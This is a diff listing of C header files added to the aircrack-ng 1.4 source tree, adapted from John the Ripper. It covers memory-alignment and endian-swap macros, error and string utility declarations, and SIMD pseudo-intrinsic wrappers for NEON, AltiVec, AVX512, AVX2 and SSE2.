+ * *aligned_buf=mem_align(tmpbuf,16);
+ * will give you a stack buffer, aligned to 16 bytes.  There are bugs in some
+ * compilers which cause
+ * JTR_ALIGN(x) to fail properly (such as a bug in bitcoin OMP mode for linux32)
+ * Switched to a define macro for performance.
+ */
+#define mem_align(a, b)                                                        \
+	(void *) (((char *) (a))                                                   \
+			  + (((b) -1) - (((size_t)((char *) (a)) - 1) & ((b) -1))))
+
+/*
+ * 32-bit endian-swap a memory buffer in place. Size is in octets (so should
+ * be a multiple of 4). From now on, this function may be used on any arch.
+ */
+void alter_endianity(void * x, unsigned int size);
+
+/* 32-bit endian-swap a memory buffer in place. Count is in 32-bit words */
+void alter_endianity_w(void * x, unsigned int count);
+
+/* 64-bit endian-swap a memory buffer in place. Count is in 64-bit words */
+void alter_endianity_w64(void * x, unsigned int count);
+
+#if ARCH_ALLOWS_UNALIGNED
+// we can inline these, to always use JOHNSWAP/JOHNSWAP64
+// NOTE, more portable to use #defines to inline, than the MAYBE_INLINE within
+// header files.
+#if (ARCH_LITTLE_ENDIAN == 0)
+#define alter_endianity_to_BE(a, b)
+#define alter_endianity_to_BE64(a, b)
+#define alter_endianity_to_LE(ptr, word32_cnt)                                 \
+	do                                                                         \
+	{                                                                          \
+		int i;                                                                 \
+		for (i = 0; i < word32_cnt; i++)                                       \
+			((ARCH_WORD_32 *) ptr)[i] = JOHNSWAP(((ARCH_WORD_32 *) ptr)[i]);   \
+	} while (0)
+#define alter_endianity_to_LE64(ptr, word64_cnt)                               \
+	do                                                                         \
+	{                                                                          \
+		int i;                                                                 \
+		for (i = 0; i < word64_cnt; i++)                                       \
+			((ARCH_WORD_64 *) ptr)[i] = JOHNSWAP64(((ARCH_WORD_64 *) ptr)[i]); \
+	} while (0)
+#else
+#define alter_endianity_to_LE(a, b)
+#define alter_endianity_to_LE64(a, b)
+#define alter_endianity_to_BE(ptr, word32_cnt)                                 \
+	do                                                                         \
+	{                                                                          \
+		int i;                                                                 \
+		for (i = 0; i < word32_cnt; i++)                                       \
+			((ARCH_WORD_32 *) ptr)[i] = JOHNSWAP(((ARCH_WORD_32 *) ptr)[i]);   \
+	} while (0)
+#define alter_endianity_to_BE64(ptr, word64_cnt)                               \
+	do                                                                         \
+	{                                                                          \
+		int i;                                                                 \
+		for (i = 0; i < word64_cnt; i++)                                       \
+			((ARCH_WORD_64 *) ptr)[i] = JOHNSWAP64(((ARCH_WORD_64 *) ptr)[i]); \
+	} while (0)
+#endif
+#else
+#if (ARCH_LITTLE_ENDIAN == 0)
+#define alter_endianity_to_BE(a, b)
+#define alter_endianity_to_LE(a, b)                                            \
+	do                                                                         \
+	{                                                                          \
+		alter_endianity_w(a, b);                                               \
+	} while (0)
+#define alter_endianity_to_BE64(a, b)
+#define alter_endianity_to_LE64(a, b)                                          \
+	do                                                                         \
+	{                                                                          \
+		alter_endianity_w64(a, b);                                             \
+	} while (0)
+#else
+#define alter_endianity_to_BE(a, b)                                            \
+	do                                                                         \
+	{                                                                          \
+		alter_endianity_w(a, b);                                               \
+	} while (0)
+#define alter_endianity_to_LE(a, b)
+#define alter_endianity_to_BE64(a, b)                                          \
+	do                                                                         \
+	{                                                                          \
+		alter_endianity_w64(a, b);                                             \
+	} while (0)
+#define alter_endianity_to_LE64(a, b)
+#endif
+#endif
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/misc.h Added

@@ -0,0 +1,202 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-99,2003 by Solar Designer
+ *
+ * ...with changes in the jumbo patch, by JimF and magnum.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * Miscellaneous routines.
+ */
+
+#ifndef _MISC_H
+#define _MISC_H
+
+#include <stdio.h>
+
+#if (__MINGW32__ && !__MINGW64__) || _MSC_VER
+// Later versions of MSVC can handle %lld but some older
+// ones can only handle %I64d.  Easiest to simply use
+// %I64d then all versions of MSVC will handle it just fine
+#define LLu "%I64u"
+#define LLd "%I64d"
+#define LLx "%I64x"
+#define Zu "%u"
+#define Zd "%d"
+#else
+#define LLu "%llu"
+#define LLd "%lld"
+#define LLx "%llx"
+#define Zu "%zu"
+#define Zd "%zd"
+#endif
+
+#if !AC_BUILT
+#include <string.h>
+#ifndef _MSC_VER
+#include <strings.h>
+#endif
+#else
+#include "autoconfig.h"
+#if STRING_WITH_STRINGS
+#include <string.h>
+#include <strings.h>
+#elif HAVE_STRING_H
+#include <string.h>
+#elif HAVE_STRINGS_H
+#include <strings.h>
+#endif
+#endif
+
+/*
+ * Exit on error. Logs the event, closes john.pot and the log file, and
+ * terminates the process with non-zero exit status.
+ */
+extern void real_error(char * file, int line)
+#ifdef __GNUC__
+	__attribute__((__noreturn__));
+#else
+	;
+#endif
+
+#define error(...) real_error(__FILE__, __LINE__)
+
+/*
+ * Exit on error with message.  Will call real_error to do
+ * the final exiting, after printing error message.
+ */
+extern void real_error_msg(char * file, int line, char * format, ...)
+#ifdef __GNUC__
+	__attribute__((__noreturn__)) __attribute__((format(printf, 3, 4)));
+#else
+	;
+#endif
+
+#define error_msg(...) perror(__VA_ARGS__)
+
+/*
+ * Similar to perror(), but supports formatted output, and calls error().
+ */
+extern void real_pexit(char * file, int line, char * format, ...)
+#ifdef __GNUC__
+	__attribute__((__noreturn__)) __attribute__((format(printf, 3, 4)));
+#else
+	;
+#endif
+
+#define pexit(...)                                                             \
+	{                                                                          \
+		perror(__VA_ARGS__);                                                   \
+		clean_exit(FAILURE);                                                   \
+	}
+
+/*
+ * Attempts to write all the supplied data. Returns the number of bytes
+ * written, or -1 on error.
+ */
+extern int write_loop(int fd, const char * buffer, int count);
+
+/*
+ * Similar to fgets(), but doesn't leave the newline character in the buffer,
+ * and skips to the end of long lines. Handles both Unix and DOS style text
+ * files correctly.
+ */
+extern char * fgetl(char * s, int size, FILE * stream);
+
+/*
+ * Similar to strncpy(), but terminates with only one NUL if there's room
+ * instead of padding to the supplied size like strncpy() does.
+ */
+extern char * strnfcpy(char * dst, const char * src, int size);
+
+/*
+ * Similar to the above, but always NUL terminates the string.
+ */
+extern char * strnzcpy(char * dst, const char * src, int size);
+
+/*
+ * Similar to the strnzcpy, but returns the length of the string.
+ */
+extern int strnzcpyn(char * dst, const char * src, int size);
+
+/*
+ * Similar to strncat(), but total buffer size is supplied, and always NUL
+ * terminates the string.
+ */
+extern char * strnzcat(char * dst, const char * src, int size);
+
+/*
+ * Similar to atoi(), but properly handles unsigned int.  Do not use
+ * atoi() for unsigned data if the data can EVER be over MAX_INT.
+ */
+extern unsigned atou(const char * src);
+
+/*
+ * Similar to strtok(), but properly handles adjacent delmiters as
+ * empty strings.  strtok() in the CRTL merges adjacent delimiters
+ * and sort of 'skips' them. This one also returns 'empty' tokens
+ * for any leading or trailing delims. strtok() strips those off
+ * also.
+ */
+char * strtokm(char * s1, const char * delimit);
+
+#ifndef __has_feature
+#define __has_feature(x) 0
+#endif
+
+#if /* is ASAN enabled? */                                                     \
+	__has_feature(address_sanitizer) /* Clang */                               \
+	|| defined(__SANITIZE_ADDRESS__) /* GCC 4.8.x */
+#define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS                                   \
+	__attribute__((no_address_safety_analysis)) __attribute__((noinline))
+#define WITH_ASAN
+#else
+#define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS
+#endif
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/pseudo_intrinsics.h Added

@@ -0,0 +1,742 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * Minimalistic pseudo-instrinsics for width-agnostic x86 SIMD code.
+ *
+ * This software is Copyright (c) 2015 magnum,
+ * Copyright (c) 2015 JimF,
+ * Copyright (c) 2015 Lei Zhang,
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * Synopsis:
+ *
+ * SSE2:     __m128i a = _mm_add_epi32(b, c);
+ * AVX2:     __m256i a = _mm256_add_epi32(b, c);
+ * AVX512:   __m512i a = _mm512_add_epi32(b, c);
+ * -> Pseudo:  vtype a = vadd_epi32(b, c);
+ *
+ * SSE2:     __m128i a = _mm_load_si128(p);
+ * AVX2:     __m256i a = _mm256_load_si256(p);
+ * AVX512:   __m512i a = _mm512_load_si512(p);
+ * -> Pseudo:  vtype a = vload(p);
+ *
+ * intrinsics are emulated where the target does not support them.
+ */
+
+#ifndef _SSE_PSEUDO_H
+#define _SSE_PSEUDO_H
+
+#include "arch.h"
+
+#if SIMD_COEF_32
+
+#include "aligned.h"
+#include "stdint.h"
+#include "jcommon.h" /* for is_aligned() */
+
+/*************************** NEON (ARM) *******************************/
+#ifdef __ARM_NEON__
+#include <arm_neon.h>
+
+typedef uint8x16_t vtype8;
+typedef uint32x4_t vtype; /* the default one */
+typedef uint64x2_t vtype64;
+
+#define vadd_epi32 vaddq_u32
+#define vadd_epi64(x, y) (vtype) vaddq_u64((vtype64)(x), (vtype64)(y))
+#define vand vandq_u32
+#define vandnot(x, y) vbicq_u32(y, x)
+#define vcmov(x, y, z) vbslq_u32(z, x, y)
+#define vload(m) vld1q_u32((uint32_t *) (m))
+#define vloadu vloadu_emu
+#define VLOADU_EMULATED 1
+#define vor vorrq_u32
+#define vorn vornq_u32
+#define vroti_epi32(x, i)                                                      \
+	(i > 0 ? vsliq_n_u32(vshrq_n_u32(x, 32 - (i)), x, i)                       \
+		   : vsriq_n_u32(vshlq_n_u32(x, 32 + (i)), x, -(i)))
+#define vroti_epi64(x, i)                                                      \
+	(i > 0 ? (vtype) vsliq_n_u64(                                              \
+				 vshrq_n_u64((vtype64)(x), 64 - (i)), (vtype64)(x), i)         \
+		   : (vtype) vsriq_n_u64(                                              \
+				 vshlq_n_u64((vtype64)(x), 64 + (i)), (vtype64)(x), -(i)))
+#define vroti16_epi32 vroti_epi32
+#define vset1_epi32(x) vdupq_n_u32(x)
+#define vset1_epi64(x) (vtype) vdupq_n_u64(x)
+#define vset_epi32(x3, x2, x1, x0)                                             \
+	vcombine_u32(vcreate_u32(((uint64_t)(x1) << 32) | x0),                     \
+				 vcreate_u32(((uint64_t)(x3) << 32) | x2))
+#define vset_epi64(x1, x0)                                                     \
+	(vtype) vcombine_u64(vcreate_u64(x0), vcreate_u64(x1))
+#define vsetzero() vset1_epi32(0)
+#define vslli_epi32(x, i) vshlq_n_u32(x, i)
+#define vslli_epi64(x, i) (vtype) vshlq_n_u64((vtype64)(x), i)
+#define vsrli_epi32(x, i) vshrq_n_u32(x, i)
+#define vsrli_epi64(x, i) (vtype) vshrq_n_u64((vtype64)(x), i)
+#define vstore(m, x) vst1q_u32((uint32_t *) (m), x)
+#define vstoreu vstoreu_emu
+#define VSTOREU_EMULATED 1
+#define vunpackhi_epi32(x, y) (vzipq_u32(x, y)).val[1]
+#define vunpackhi_epi64(x, y)                                                  \
+	vset_epi64(vgetq_lane_u64((vtype64)(y), 1), vgetq_lane_u64((vtype64)(x), 1))
+#define vunpacklo_epi32(x, y) (vzipq_u32(x, y)).val[0]
+#define vunpacklo_epi64(x, y)                                                  \
+	vset_epi64(vgetq_lane_u64((vtype64)(y), 0), vgetq_lane_u64((vtype64)(x), 0))
+#define vxor veorq_u32
+
+static inline int vanyeq_epi32(vtype x, vtype y)
+{
+	vtype z = vceqq_u32(x, y);
+	return vgetq_lane_u32(z, 0) || vgetq_lane_u32(z, 1) || vgetq_lane_u32(z, 2)
+		   || vgetq_lane_u32(z, 3);
+}
+
+#define vswap32(x) (x = (vtype) vrev32q_u8((vtype8) x))
+#define vswap64(x) (x = (vtype) vrev64q_u8((vtype8) x))
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		x = vset_epi64(y[1][z], y[0][z]);                                      \
+	}
+
+/*************************** AltiVec (Power) **************************/
+#elif __ALTIVEC__
+#include <altivec.h>
+
+typedef vector unsigned int vtype32;
+typedef vector unsigned long vtype64;
+typedef union {
+	vtype32 v32;
+	vtype64 v64;
+	uint32_t s32[SIMD_COEF_32];
+	uint64_t s64[SIMD_COEF_64];
+} vtype;
+
+#define vadd_epi32(x, y) (vtype) vec_add((x).v32, (y).v32)
+#define vadd_epi64(x, y) (vtype) vec_add((x).v64, (y).v64)
+#define vand(x, y) (vtype) vec_and((x).v32, (y).v32)
+#define vandnot(x, y) (vtype) vec_andc((y).v32, (x).v32)
+#define vcmov(x, y, z) (vtype) vec_sel((y).v32, (x).v32, (z).v32)
+#define vload(m) (vtype)(vtype32) vec_ld(0, (uint32_t *) (m))
+#define vloadu vloadu_emu
+#define VLOADU_EMULATED 1
+#define vor(x, y) (vtype) vec_or((x).v32, (y).v32)
+#define vroti_epi32(x, i) (vtype) vec_rl((x).v32, (vset1_epi32(i)).v32)
+#define vroti_epi64(x, i) (vtype) vec_rl((x).v64, (vset1_epi64(i)).v64)
+#define vroti16_epi32 vroti_epi32
+#define vset1_epi32(x) vset_epi32(x, x, x, x)
+#define vset1_epi64(x) vset_epi64(x, x)
+#define vset_epi32(x3, x2, x1, x0)                                             \
+	(vtype)(vtype32) { x0, x1, x2, x3 }
+#define vset_epi64(x1, x0)                                                     \
+	(vtype)(vtype64) { x0, x1 }
+#define vsetzero() vset1_epi32(0)
+#define vslli_epi32(x, i) (vtype) vec_sl((x).v32, (vset1_epi32(i)).v32)
+#define vslli_epi64(x, i) (vtype) vec_sl((x).v64, (vset1_epi64(i)).v64)
+#define vsrli_epi32(x, i) (vtype) vec_sr((x).v32, (vset1_epi32(i)).v32)
+#define vsrli_epi64(x, i) (vtype) vec_sr((x).v64, (vset1_epi64(i)).v64)
+#define vstore(m, x) vec_st((x).v32, 0, (uint32_t *) (m))
+#define vstoreu vstoreu_emu
+#define VSTOREU_EMULATED 1
+#define vunpackhi_epi32(x, y) (vtype) vec_mergel((x).v32, (y).v32)
+#define vunpackhi_epi64(x, y)                                                  \
+	(vtype)(vtype64) vec_mergel((vector long) (x).v64, (vector long) (y).v64)
+#define vunpacklo_epi32(x, y) (vtype) vec_mergeh((x).v32, (y).v32)
+#define vunpacklo_epi64(x, y)                                                  \
+	(vtype)(vtype64) vec_mergeh((vector long) (x).v64, (vector long) (y).v64)
+#define vxor(x, y) (vtype) vec_xor((x).v32, (y).v32)
+
+#define vanyeq_epi32(x, y) vec_any_eq((x).v32, (y).v32)
+
+#define vswap32 vswap32_emu
+#define vswap64 vswap64_emu
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		x = vset_epi64(y[1][z], y[0][z]);                                      \
+	}
+
+/*************************** AVX512 and MIC ***************************/
+#elif __AVX512F__ || __MIC__
+#include <immintrin.h>
+
+typedef __m512i vtype;
+
+#define vadd_epi32 _mm512_add_epi32
+#define vadd_epi64 _mm512_add_epi64
+#define vand _mm512_and_si512
+#define vandnot _mm512_andnot_si512
+#define vcmov vcmov_emu
+#define VCMOV_EMULATED 1
+/*
+ * NOTE: AVX2 has it as (base, index, scale) while MIC and AVX512 are
+ * different.
+ */
+#define vgather_epi32(b, i, s) _mm512_i32gather_epi32(i, (void *) (b), s)
+#define vgather_epi64(b, i, s) _mm512_i64gather_epi64(i, (void *) (b), s)
+#define vload(x) _mm512_load_si512((void *) (x))
+#define vloadu(x) _mm512_loadu_si512((void *) (x))
+#define vor _mm512_or_si512
+#define vroti_epi32 vroti_epi32_emu
+#define vroti_epi64 vroti_epi64_emu
+#define vroti16_epi32 vroti_epi32
+#define vscatter_epi32(b, i, v, s) _mm512_i32scatter_epi32((void *) b, i, v, s)
+#define vscatter_epi64(b, i, v, s) _mm512_i64scatter_epi64((void *) b, i, v, s)
+#define vset1_epi8 _mm512_set1_epi8
+#define vset1_epi32 _mm512_set1_epi32
+#define vset1_epi64 _mm512_set1_epi64
+#define vset_epi32 _mm512_set_epi32
+#define vset_epi64 _mm512_set_epi64
+#define vsetzero _mm512_setzero_si512
+#define vshuffle_epi32 _mm512_shuffle_epi32
+#define vslli_epi32 _mm512_slli_epi32
+#define vslli_epi64 _mm512_slli_epi64
+#define vsrli_epi32 _mm512_srli_epi32
+#define vsrli_epi64 _mm512_srli_epi64
+#define vstore(x, y) _mm512_store_si512((void *) (x), y)
+#define vstoreu(x, y) _mm512_storeu_si512((void *) (x), y)
+#define vunpackhi_epi32 _mm512_unpackhi_epi32
+#define vunpackhi_epi64 _mm512_unpackhi_epi64
+#define vunpacklo_epi32 _mm512_unpacklo_epi32
+#define vunpacklo_epi64 _mm512_unpacklo_epi64
+#define vxor _mm512_xor_si512
+
+#define vanyeq_epi32(x, y) _mm512_cmp_epi32_mask(x, y, _MM_CMPINT_EQ)
+
+#define GATHER_4x(x, y, z)                                                     \
+	{                                                                          \
+		vtype indices = vset_epi32(15 << 6,                                    \
+								   14 << 6,                                    \
+								   13 << 6,                                    \
+								   12 << 6,                                    \
+								   11 << 6,                                    \
+								   10 << 6,                                    \
+								   9 << 6,                                     \
+								   8 << 6,                                     \
+								   7 << 6,                                     \
+								   6 << 6,                                     \
+								   5 << 6,                                     \
+								   4 << 6,                                     \
+								   3 << 6,                                     \
+								   2 << 6,                                     \
+								   1 << 6,                                     \
+								   0 << 6);                                    \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+#define GATHER_2x(x, y, z)                                                     \
+	{                                                                          \
+		vtype indices = vset_epi32(15 << 5,                                    \
+								   14 << 5,                                    \
+								   13 << 5,                                    \
+								   12 << 5,                                    \
+								   11 << 5,                                    \
+								   10 << 5,                                    \
+								   9 << 5,                                     \
+								   8 << 5,                                     \
+								   7 << 5,                                     \
+								   6 << 5,                                     \
+								   5 << 5,                                     \
+								   4 << 5,                                     \
+								   3 << 5,                                     \
+								   2 << 5,                                     \
+								   1 << 5,                                     \
+								   0 << 5);                                    \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+#define GATHER(x, y, z)                                                        \
+	{                                                                          \
+		vtype indices = vset_epi32(15 << 4,                                    \
+								   14 << 4,                                    \
+								   13 << 4,                                    \
+								   12 << 4,                                    \
+								   11 << 4,                                    \
+								   10 << 4,                                    \
+								   9 << 4,                                     \
+								   8 << 4,                                     \
+								   7 << 4,                                     \
+								   6 << 4,                                     \
+								   5 << 4,                                     \
+								   4 << 4,                                     \
+								   3 << 4,                                     \
+								   2 << 4,                                     \
+								   1 << 4,                                     \
+								   0 << 4);                                    \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		uint64_t stride = sizeof(*y);                                          \
+		vtype indices = vset_epi64(7 * stride,                                 \
+								   6 * stride,                                 \
+								   5 * stride,                                 \
+								   4 * stride,                                 \
+								   3 * stride,                                 \
+								   2 * stride,                                 \
+								   1 * stride,                                 \
+								   0);                                         \
+		x = vgather_epi64(&y[0][z], indices, 1);                               \
+	}
+
+#if __AVX512F__
+#undef vcmov
+#undef VCMOV_EMULATED
+#define vcmov(x, y, z) vternarylogic(x, y, z, 0xE4)
+#define vternarylogic _mm512_ternarylogic_epi32
+#endif
+
+#if __AVX512BW__
+#define vcmpeq_epi8_mask (uint64_t) _mm512_cmpeq_epi8_mask
+#define vshuffle_epi8 _mm512_shuffle_epi8
+#define vshufflehi_epi16 _mm512_shufflehi_epi16
+#define vshufflelo_epi16 _mm512_shufflelo_epi16
+#define vslli_epi16 _mm512_slli_epi16
+#define vsrli_epi16 _mm512_srli_epi16
+
+#define vswap32(n)                                                             \
+	n = vshuffle_epi8(n,                                                       \
+					  vset_epi32(0x3c3d3e3f,                                   \
+								 0x38393a3b,                                   \
+								 0x34353637,                                   \
+								 0x30313233,                                   \
+								 0x2c2d2e2f,                                   \
+								 0x28292a2b,                                   \
+								 0x24252627,                                   \
+								 0x20212223,                                   \
+								 0x1c1d1e1f,                                   \
+								 0x18191a1b,                                   \
+								 0x14151617,                                   \
+								 0x10111213,                                   \
+								 0x0c0d0e0f,                                   \
+								 0x08090a0b,                                   \
+								 0x04050607,                                   \
+								 0x00010203))
+#define vswap64(n)                                                             \
+	n = vshuffle_epi8(n,                                                       \
+					  vset_epi64(0x38393a3b3c3d3e3fULL,                        \
+								 0x3031323334353637ULL,                        \
+								 0x28292a2b2c2d2e2fULL,                        \
+								 0x2021222324252627ULL,                        \
+								 0x18191a1b1c1d1e1fULL,                        \
+								 0x1011121314151617ULL,                        \
+								 0x08090a0b0c0d0e0fULL,                        \
+								 0x0001020304050607ULL))
+#else /* workarounds without AVX512BW */
+#define vswap32 vswap32_emu
+#define vswap64(x) (x = vshuffle_epi32(x, _MM_SHUFFLE(2, 3, 0, 1)), vswap32(x))
+
+#endif /* __AVX512BW__ */
+
+/* MIC lacks some intrinsics in AVX512F, thus needing emulation. */
+#if __MIC__
+#define _mm512_set1_epi8(x) _mm512_set1_epi32(x | x << 8 | x << 16 | x << 24)
+
+static inline __m512i _mm512_loadu_si512(void const * addr)
+{
+	__m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0);
+	return is_aligned(addr, 64) ? _mm512_load_si512(addr)
+								: _mm512_i64gather_epi64(indices, addr, 8);
+}
+
+static inline void _mm512_storeu_si512(void * addr, vtype d)
+{
+	__m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0);
+
+	if (is_aligned(addr, 64))
+		_mm512_store_si512(addr, d);
+	else
+		_mm512_i64scatter_epi64(addr, indices, d, 8);
+}
+#endif /* __MIC__ */
+
+/******************************** AVX2 ********************************/
+#elif __AVX2__
+#include <immintrin.h>
+
+typedef __m256i vtype;
+
+#define vadd_epi32 _mm256_add_epi32
+#define vadd_epi64 _mm256_add_epi64
+#define vand _mm256_and_si256
+#define vandnot _mm256_andnot_si256
+#define vcmov vcmov_emu
+#define VCMOV_EMULATED 1
+#define vcmpeq_epi8_mask(a, b) _mm256_movemask_epi8(_mm256_cmpeq_epi8(a, b))
+#define vcmpeq_epi32 _mm256_cmpeq_epi32
+#define vcvtsi32 _mm256_cvtsi32_si256
+#define vgather_epi32(b, i, s) _mm256_i32gather_epi32((void *) (b), i, s)
+#define vgather_epi64(b, i, s) _mm256_i64gather_epi64((void *) (b), i, s)
+#define vinsert_epi32 _mm256_insert_epi32
+#define vload(x) _mm256_load_si256((void *) (x))
+#define vloadu(x) _mm256_loadu_si256((void *) (x))
+#define vmovemask_epi8 _mm256_movemask_epi8
+#define vor _mm256_or_si256
+#define vpermute2x128 _mm256_permute2x128_si256
+#define vpermute4x64_epi64 _mm256_permute4x64_epi64
+#define vroti_epi32 vroti_epi32_emu
+#define vroti_epi64 vroti_epi64_emu
+#define vroti16_epi32 vroti_epi32
+#define vset1_epi8 _mm256_set1_epi8
+#define vset1_epi32 _mm256_set1_epi32
+#define vset1_epi64 _mm256_set1_epi64x
+#define vset_epi32 _mm256_set_epi32
+#define vset_epi64 _mm256_set_epi64x
+#define vsetzero _mm256_setzero_si256
+#define vshuffle_epi8 _mm256_shuffle_epi8
+#define vshuffle_epi32 _mm256_shuffle_epi32
+#define vshufflehi_epi16 _mm256_shufflehi_epi16
+#define vshufflelo_epi16 _mm256_shufflelo_epi16
+#define vslli_epi16 _mm256_slli_epi16
+#define vslli_epi32 _mm256_slli_epi32
+#define vslli_epi64 _mm256_slli_epi64
+#define vsrli_epi16 _mm256_srli_epi16
+#define vsrli_epi32 _mm256_srli_epi32
+#define vsrli_epi64 _mm256_srli_epi64
+#define vstore(x, y) _mm256_store_si256((void *) (x), y)
+#define vstoreu(x, y) _mm256_storeu_si256((void *) (x), y)
+#define vunpackhi_epi32 _mm256_unpackhi_epi32
+#define vunpackhi_epi64 _mm256_unpackhi_epi64
+#define vunpacklo_epi32 _mm256_unpacklo_epi32
+#define vunpacklo_epi64 _mm256_unpacklo_epi64
+#define vxor _mm256_xor_si256
+
+#define vanyeq_epi32(x, y) vmovemask_epi8(vcmpeq_epi32(x, y))
+
+#define swap_endian_mask                                                       \
+	_mm256_set_epi32(0x1c1d1e1f,                                               \
+					 0x18191a1b,                                               \
+					 0x14151617,                                               \
+					 0x10111213,                                               \
+					 0x0c0d0e0f,                                               \
+					 0x08090a0b,                                               \
+					 0x04050607,                                               \
+					 0x00010203)
+
+#define swap_endian64_mask                                                     \
+	vset_epi64(0x18191a1b1c1d1e1fULL,                                          \
+			   0x1011121314151617ULL,                                          \
+			   0x08090a0b0c0d0e0fULL,                                          \
+			   0x0001020304050607ULL)
+
+#define vswap32(n) (n = vshuffle_epi8(n, swap_endian_mask))
+
+#define vswap64(n) (n = vshuffle_epi8(n, swap_endian64_mask))
+
+#define GATHER_4x(x, y, z)                                                     \
+	{                                                                          \
+		vtype indices = vset_epi32(                                            \
+			7 << 6, 6 << 6, 5 << 6, 4 << 6, 3 << 6, 2 << 6, 1 << 6, 0 << 6);   \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+#define GATHER_2x(x, y, z)                                                     \
+	{                                                                          \
+		vtype indices = vset_epi32(                                            \
+			7 << 5, 6 << 5, 5 << 5, 4 << 5, 3 << 5, 2 << 5, 1 << 5, 0 << 5);   \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+#define GATHER(x, y, z)                                                        \
+	{                                                                          \
+		vtype indices = vset_epi32(                                            \
+			7 << 4, 6 << 4, 5 << 4, 4 << 4, 3 << 4, 2 << 4, 1 << 4, 0 << 4);   \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		uint64_t stride = sizeof(*y);                                          \
+		vtype indices = vset_epi64(3 * stride, 2 * stride, 1 * stride, 0);     \
+		x = vgather_epi64(&y[0][z], indices, 1);                               \
+	}
+
+/************************* SSE2/3/4/AVX/XOP ***************************/
+#elif __SSE2__
+
+#if __XOP__
+#include <x86intrin.h>
+#elif __AVX__
+#include <immintrin.h>
+#elif __SSE4_1__
+#include <smmintrin.h>
+#elif __SSSE3__
+#include <tmmintrin.h>
+#endif
+
+#include <emmintrin.h>
+
+typedef __m128i vtype;
+
+#define vadd_epi32 _mm_add_epi32
+#define vadd_epi64 _mm_add_epi64
+#define vand _mm_and_si128
+#define vandnot _mm_andnot_si128
+#if __XOP__
+#define vcmov _mm_cmov_si128
+#else
+#define vcmov vcmov_emu
+#define VCMOV_EMULATED 1
+#endif
+#define vcmpeq_epi8_mask(a, b) _mm_movemask_epi8(_mm_cmpeq_epi8(a, b))
+#define vcmpeq_epi32 _mm_cmpeq_epi32
+#if __SSE4_1__
+#define vcvtsi32 _mm_cvtsi32_si128
+#endif
+#define vinsert_epi32 _mm_insert_epi32
+#define vload(x) _mm_load_si128((const vtype *) (x))
+#define vloadu(x) _mm_loadu_si128((const vtype *) (x))
+#define vmovemask_epi8 _mm_movemask_epi8
+#define vor _mm_or_si128
